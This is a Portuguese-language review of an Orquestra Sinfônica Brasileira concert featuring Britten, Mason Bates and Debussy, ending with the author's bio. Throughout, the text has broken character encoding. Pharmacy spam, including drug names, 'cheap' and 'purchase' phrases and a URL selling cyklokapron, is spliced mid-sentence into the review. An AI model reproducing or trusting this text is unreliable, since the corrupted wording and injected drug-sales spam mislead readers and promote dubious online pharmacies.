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A?guas futuras

Orquestra SinfA?nica Brasileira mostra inteligA?ncia em concerto no Rio de Janeiro com jovem compositor e DJ norte-americano Mason Bates.

 

Na noite de 2 de junho, no Theatro Municipal do Rio de Janeiro, a Orquestra SinfA?nica Brasileira (OSB), regida pelo maestro residenteA�Lee Mills, apresentou concerto que tinha o mar como mote e continha obras de trA?s compositores que, cada um A� sua maneira, de certo modo e em determinado grau, quebraram paradigmas de sua era e lanA�aram algumas bases do que viria a ser a mA?sica orquestral do futuro.

A primeira obra executada pela orquestra foi Quatro InterlA?dios MarA�timos, Op. 33a Pills , do britA?nico Benjamin Britten. As peA�as a�� originalmente intermezziA�da A?pera Peter Grimes (1945, primeira produA�A?o lA�rica inglesa do pA?s-guerra e um marco exitoso na carreira de Britten) a�� foram alteradas pelo compositor para formar uma suA�te com vida prA?pria. A OSB comeA�ou o primeiro movimento ( Purchase Madrugada) com violinos levemente inseguros, ainda sem aquecimento a�� como quem, receoso, adentra uma praia de A?guas frias a��, mas, avanA�ando pA� ante pA�, o conjunto foi se aprumando: os metais realizavam os crescendi manfaat ciprofloxacin com perfeiA�A?o. Os mesmos metais, no segundo movimento (ManhA? de domingo), fizeram bela e sincopada parceria com os sopros. No terceiro movimento (Luar online ), destacaram-se os violoncelos, ditando o ritmo. Mais tenso, o quarto movimento (Tempestade) contou com maciA�a (e precisa) presenA�a dos instrumentos de percussA?o.

O convidado especial da noite, o DJ e compositor norte-americano Mason Bates, entrou em seguida, quase invisivelmente, e ocupou sua bancada com dois laptops ao fundo do palco. De sua autoria, foram apresentadas duas obras: Interface LA�quida e Nave-MA?e. Talvez tenha sido a presenA�a desse celebrado DJ a razA?o do Theatro estar com tantos rostos jovens na plateia.

Bates, naturalmente, nA?o A� o primeiro compositor a fazer uso de tecnologias de seu tempo, como sintetizadores ou computadores, em meio A� orquestra a�� como atestam obras e iniciativas de nomes como Darius Milhaud (1892-1974), Olivier Messiaen (1908-1992), Karlheinz Stockhausen (1928-2007) e Pierre Boulez (1925-2016). Mas A� impressionante como o jovem estadunidense o faz tA?o organicamente.

Interface LA�quida (2007), como informado no programa, foi inspirada pelo perA�odo em que o compositor viveu nos arredores do Lago Wannsee, em Berlim. Sons acA?sticos e eletrA?nicos (emitidos de alto-falantes posicionados ao fundo, nas laterais do palco) estavam incrivelmente integrados. NotA?vel tambA�m A� a fluidez sonora dessa peA�a, que fala sobre a A?gua em suas diversas formas. O ritmo A� uma das exigA?ncias da partitura, e a OSB trabalha com muita ginga e maciez. Afluem da multicolorida composiA�A?o toques de Bernstein e generosas pitadas de jazz, alA�m de um reconhecA�vel intercA?mbio com a mA?sica eletrA?nica pop contemporA?nea.

A segunda obra do compositor apresentada foi Nave-MA?e, escrita em 2011 para a Orquestra SinfA?nica YouTube (veja vA�deo a�� contA�m depoimentos em inglA?s). Uma batida que remete ao techno das baladas A� a base de uma composiA�A?o que apresenta a orquestra como uma nave A� qual vA?rios solistas se conectam. Um belo solo de trompete destacou-se no curioso diA?logo entre laptop e orquestra.

Para finalizar o concerto, a OSB executou http://businessforumz.com/cyklokapron-price-in-india/ cheap lanoxin 125 O Mar, de Claude Debussy, obra que, ao trazer novas harmonias para a partitura, desvencilhou as orquestras de diversas regras preexistentes na mA?sica de concerto no inA�cio do sA�culo 20. Em estilo Impressionista, os trA?s movimentos que a compA�em trazem A� mA?sica a lembranA�a de elementos marA�timos: as vagas (representadas pelos ritmos) e as cores e reflexos do mar (nos coloridos orquestrais dados pelas harmonias e timbres).

A� frente da OSB, o jovem maestro residente Mills conduziu o grupo com notA?vel delicadeza, revelando filigranas sonoras doces e suaves. Tal postura deu brilho especial em particular ao primeiro movimento (Da Alvorada ao Meio-Dia no Mar). Mas no terceiro movimento (DiA?logo do Vento com o Mar), mesmo com os ricos contrastes alcanA�ados, faltou A� regA?ncia uma mA?o mais enA�rgica para conduzir os mA?sicos rumo A� totalidade da caleidoscA?pica exuberA?ncia debussyniana.

A inteligA?ncia, definitivamente, faz diferenA�a em tudo. Neste concerto, a Orquestra SinfA?nica Brasileira mostrou sabedoria ao programar um repertA?rio conceitualmente alinhavado, bem como em arejar-se com a participaA�A?o de um convidado que trouxe novidades a�� e, de quebra, encheu o Theatro Municipal (e possivelmente a Cidade das Artes, onde ocorreu apresentaA�A?o no dia 4) de novos rostos, novas plateias para a mA?sica de concerto e muitos aplausos.

Cheap Order Foto do post: reproduA�A?o/Twitter

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Fabiano Gonçalves
Publicitário e roteirista (formado no Maurits Binger Film Institute - Amsterdã). Corroteirista do longa O Amor Está no Ar e de programas de TV (novela Chiquititas - 1998/2000). Redator na revista SuiGeneris, no site Escola24horas e no Departamento Nacional do Senac. Um dos fundadores do movimento.com, escreve também sobre televisão para o site teledossie.com.br. - E-mail: fabiano@movimento.com